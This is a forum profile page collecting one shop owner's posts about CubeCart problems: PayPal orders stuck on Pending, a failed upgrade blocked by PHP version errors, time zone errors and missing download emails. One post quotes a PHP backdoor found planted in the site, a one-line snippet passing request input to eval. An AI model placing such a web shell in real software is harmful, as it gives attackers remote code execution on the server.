Jump to content

Robin Somes

  • Posts

  • Joined

  • Last visited

  • Days Won


Everything posted by Robin Somes

  1. If you know that you have received the payment, but the order is still set on "Pending": 1. Change the status of the order to "Processing"; click the "Save and reload" button. 2. Change the status of the order to "Completed"; click the "Save and Reload button. Then, the correct emails will be sent out, as bsmither suggests. I have tried it, and it works.
  2. 1. I've switched back to PHP 5.6. Nothing has happened, except that the error messages, on both the shop site and admin pages, changed from "HTTP 500 ERROR" back to "PHP 5.6.40 detected. CubeCart requires PHP 7.1 or higher." Not really surprising. 2. I've added the line you suggest to global.inc.php. No change; still not able to see the site, or the admin pages, let alone log in to them. So, the upgrade to CC 6.4.7 appears truly stuck half way. If I understand correctly, CC 6.4.7 *cannot* be installed on a system running PHP below version 7.1. So my option now is: A. Staying set on PHP version 5.6.40, restore yesterday's backup, by copying over the whole contents of the backup by FTP, being cognisant of changes in file names (i.e. the folder 'admin' in the backup is 'admin_{RanDOmLEttERs}' on the site, and 'admin.php' in the backup is 'admin_{RANDOMNESS}.php on the site). B. Deleting or renaming the folder "setup"? C. When it's restored, log in, make sure things are in order, and check whether updates for Noodleman's ProductAddOns and any other plugins are required for later PHP versions. D. Get them, and install them. E. Take another backup just in case. F. Log out of admin. G. Switch to PHP v. 7.4. H. Log back in, take yet another backup. I. Attempt the upgrade to CC 6.4.7 again. Would that be correct? Apart from ProductAddons, the other plugins we have installed are AllInOneShipping / Facebook / PayPal Commerce Platform / PayPal Standard Gateway (disabled) / SagePay - as far as I can tell, all were on the latest available versions.
  3. Many thanks; I'll experiment and see. Unfortunately many of our customers are once-only purchasers, so they tend not to register.
  4. Thanks Brian, I'll try that. I have Noodleman's All In One plugin which, as you suggest, probably requires an updated version.
  5. ... perhaps it is related to enabling certain PHP modules in the higher version of PHP?
  6. Site: piscesconservation.com/cube CC 6.4.4 / PayPal Commerce 1.7.2 I currently have a non-functioning shop site, having tried to update from CC 6.4.4 to 6.4.7 this morning (yes, I did take a full backup first ) When I kicked off the upgrade process, it swiftly failed, giving the error message "PHP 5.6.40 detected. CubeCart requires PHP 7.1 or higher." Trying to reach both the admin page and the shop site gave the same error. The site has run comfortably on PHP 5.6.40 for years, but I fully appreciate the wisdom of running a more recent version. I've now got our ISP to switch to PHP v. 7.1. Since then, both the shop site and admin pages are still unobtainable, but the error message has changed to "HTTP 500 ERROR". If someone could point out how to resume the upgrade, and see anything other than an error message, I'd be most grateful. Many thanks, Robin
  7. Site: piscesconservation.com/cube CC 6.4.4 / PayPal Commerce 1.7.2 We have a long-recurring issue (which I may well have reported here before but can't find) of orders getting stuck on "Pending". A non-trivial proportion of our orders get stuck when the payment gateway is PayPal. To the non-expert (me) it looks as if the payment is received by PP, but the confirmation response from PP does not make it back to the shop site. We receive an email from PP saying that we have received the payment. However, as far as the shop is concerned, the order status is still "Pending", and no 'Order Successful' or 'Your Purchased Downloads' emails ever get sent to the customer. I can log in to the admin pages and manually change the order to "Completed"; that sends an "Order Confirmation" email to the customer, but no email with download links for their purchases. The customer then starts emailing us grumpily asking where their downloads are. (1) Is there any advance on why this problem might occur with PayPal, and any way to get round it? (2) Is there any way to send out the "Your Purchased Downloads" email, after the event, i.e. manually rather than automatically? Currently we have to either copy/paste the link(s) from the order page into an email, or upload the files to a public Dropbox folder and share them that way. Many thanks, Robin
  8. Site: piscesconservation.com/cube CC 6.4.4 / AllInOneShipping 10.0.22 / Facebook 1.0.1 / PayPal Commerce Platform 1.4.11 / PayPal Standard Gateway 1.0.8 (disabled) / ProductAddons 1.0.12 / SagePay 1.0.11 When I re-send the "Your Purchase Downloads" email from the shop (Dashboard: Reporting: Email Log), I would like to be able to edit the To: address, but it appears I cannot. Customer makes a purchase of a digital item and gives his email address as [email protected] Doesn't receive either the "Your Purchased Downloads" or "Order Confirmation" emails, most likely because of an over-zealous spam filter somewhere. He emails me to complain that he's still waiting for the software he bought, and suggests I email the link to [email protected] instead. Now, I can change his email address in his billing details (Dashboard: Orders: {ORDER NO.}: Billing: Contact Details). However, that makes no difference to the address used in resending previous emails. Nor does it appear to be possible to edit anything other than the email content in Dashboard: Documents: Email Contents & Templates: Your Purchased Downloads. Is there any way to achieve this? Many thanks, Robin
  9. Thanks Al, yes, I totally get that. Our issue really is that we've got at least 12 domains; the CubeCart shop, 3 or 4 Wordpress-based sites (I can't actually remember!) and the rest plain HTML-based. I think there would be some resistance, in terms of cost (since sales through the shop site are far from being our main source of income), and admin time, to having two separate hosting companies. And there's very limited time to devote to migrating all our sites to a new host. But for the longer term it's something we do need to consider and rationalise. Cheers, Robin
  10. An update to this issue. After several emails back and forth with my hosting company, they're not willing (for which read, they can't be bothered) to load the required system time zone table to the DB server, because "it will affect other customers". So be it; lazy attitude, but we're stuck with them for the time being, so for now I've disabled 'Timezone' in the store settings. No more countless error messages. Thanks for the help.
  11. Bit of a mixed thread here, I think. I do agree their first line of tech support tends to jump to conclusions about what the customer's asking for, which isn't ideal. But thankfully it's a different hosting company to Keat's - no such password madness, yet at least!
  12. Good point, and well made. Many thanks R
  13. My hosting co. say "We have changed the timezone to Europe/London.". Looking at the error logs, I'm still getting the errors, albeit at a much reduced rate. Today, 17:06 File: [controller.admin.pre_session.inc.php] Line: [26] "SET @@time_zone = 'Europe/London'" - Unknown or incorrect time zone: 'Europe/London' Today, 17:03 File: [controller.admin.pre_session.inc.php] Line: [26] "SET @@time_zone = 'Europe/London'" - Unknown or incorrect time zone: 'Europe/London' Today, 17:02 File: [controller.index.inc.php] Line: [27] "SET @@time_zone = 'Europe/London'" - Unknown or incorrect time zone: 'Europe/London' Today, 17:02 File: [controller.index.inc.php] Line: [27] "SET @@time_zone = 'Europe/London'" - Unknown or incorrect time zone: 'Europe/London' Today, 17:02 File: [controller.index.inc.php] Line: [27] "SET @@time_zone = 'Europe/London'" - Unknown or incorrect time zone: 'Europe/London' Looking at info.php for the site, I see: date date/time support enabled "Olson" Timezone Database Version 2018.9 Timezone Database external Default timezone Europe/London Directive Local Value Master Value date.default_latitude 31.7667 31.7667 date.default_longitude 35.2333 35.2333 date.sunrise_zenith 90.583333 90.583333 date.sunset_zenith 90.583333 90.583333 date.timezone Europe/London no value Is that as it should be?
  14. Many thanks; could you just clarify what the change is - I'll throw it over to my hosting company. Cheers, R
  15. Site: www.piscesconservation.com/cube CC 6.2.5 Foundation Looking at the Error Log section of the admin pages, I'm inundated with time zone errors. The error originates from August 18th; I'm not aware of that coinciding with anything I've done. I'm up to 51,225 error messages, across 2049 pages, so far, and they're arriving about every 2 seconds. Today, 13:26 File: [controller.admin.pre_session.inc.php] Line: [26] "SET @@time_zone = 'Europe/London'" - Unknown or incorrect time zone: 'Europe/London' Today, 13:26 File: [controller.index.inc.php] Line: [27] "SET @@time_zone = 'Europe/London'" - Unknown or incorrect time zone: 'Europe/London' Ad infinitum. Is it me, CubeCart or my ISP; any suggestions?
  16. Thank you, Al. The code changes are not especially complex, and I annotated them reasonably well at the time and kept copies of the amended files. The more complex issue (for me at least) is getting the site from our old legacy server - which isn't capable of running the more recent versions, hence all sorts of grief - to the new platform (which is hosted by the same ISP). Assuming your managed support plan is the advertised £40/month plus setup costs, that seems reasonable, so we'll likely go for that option, as soon as we've provisioned the new platform. Thanks again.
  17. We're very shortly moving our shop to a new server, and in the process, updating CC from the aged 6.06 (yes, I know...) to the most recent version. My assumption is that the process, simplified, should go more or less as follows: 1. Take backups of existing site. 2. Re-acquaint self with code modifications, and the reasons for them. 3. Install old version of CC on new server. 4. Import site from backups. 5. Re-apply code mods. 6. Ensure site is working and take more backups. 7. Update CC to the latest version. 8. Re-apply code mods. 9. Update plugins. Am I missing anything crucial? Shop: www.piscesconservation.com/cube CC: 6.0.6, Skin: Foundation, Plugins: All In One Shipping, Facebook, PayPal, ProductAddons, SagePay
  18. Just reading about 'eval' - specifically the bits about "don't use this thing under any circumstances whatsoever" and it does look that way. Downloading the whole site to see if I can work out which files have been attacked; I'll follow up the link you posted, thanks again. .
  19. There is one code snippet, entitled snippetuP6LO, triggered by controller.index. The code within it is: <?php eval($_REQUEST["uP6LO"]);?> I certainly haven't added this, but (since I've not looked at that section of the admin pages) I've no idea if it is intended to be there or not.
  20. Thank you DirtyButter; I am trying that now. One issue uncovered so far; testing the SMTP relay in CC's Store Settings showed that it had lost or corrupted the SMTP password. How, I don't know; I've neither changed it or deleted it. Re-entering the password restores the emails to us announcing the sale. But there are still no download links on the customer's receipt for the payment.
  21. CC 6.06, All In One Shipping 1.0.6, Product AddOns 1.0.5 At some point in the last 3 weeks, the behaviour of our CubeCart site has changed. The site is at: www.piscesconservation.com/cube Purchasers of digital products no longer receive emails containing a download link, or get taken to a page where they can download their purchase after payment is completed. Nor do we receive emails from the site announcing the sale (we do get an email from Sagepay, but as always that only marks the transaction, and doesn't contain full order details). Instead, the customer starts emailing us in anguish after 24 hours or so without their product. Not a situation we'd like to continue. Customers who order physical products continue to receive emails as they should, still see an online receipt for their payment, and we still get the correct notification from the site. This suggests that there's nothing wrong with the mechanism of actually sending mail from the site, rather, the means of generating the mail, when a digital product is involved. I've put through a test transaction of just a digital product, with the result as reported by our customers - no emailed link, no clickable download link on the receipt page, plus no email sent to us from the site (but notifications from Sagepay to us and the purchaser about the transaction). A test transaction of a combination of digital and physical items produced the same result: no download links, no email to us from the site, but Sagepay mails to the purchaser and to us. Emails are not, so far as we can ascertain, ending up in Spam folders. Our ISP's SMTP Outbound service, which allows the site to send emails, is paid up to date, apparently working, and hasn't been discontinued, and has not been blocked for abuse. We have changed nothing about the site, I'm not aware that our ISP has (for instance) lost a server and had to restore from backups, and to the best of our knowledge the site has not been hacked. It used to work, it doesn't now. So, can anyone suggest where to start tracking down the issue?
  22. We haven't, but thanks for the suggestion. For the moment, our existing arrangement works (and is free); in the long run it would be nice if mailing could be integrated into the shop via CC.
  23. Many thanks. For now we'll go with our existing mailing arrangement outside of CubeCart. Looking forward to a fix as and when, because in the long term the newsletter facility in CC is superior. Robin
  24. CC 6.06 Appears to be a slight issue with subscription to the mailing list, which I'm keen to get sorted before I start annoying actual paying customers with it I've sent a couple of test newsletters, with the standard footer telling those who wish to unsubscribe to go to: http://www.piscesconservation.com/cube/index.php?_a=unsubscribe However, entering my regular email address - which is in the mailing list - only produces the message that "Email address already subscribed". Entering a variety of other addresses either produces "Email address already subscribed" (which it isn't), "Please enter a valid email address" (It IS a valid email address!), or an annoying state of pressing the button and nothing at all happening. Nowhere does an email address actually get unsubscribed. Any suggestions? TIA, Robin
  • Create New...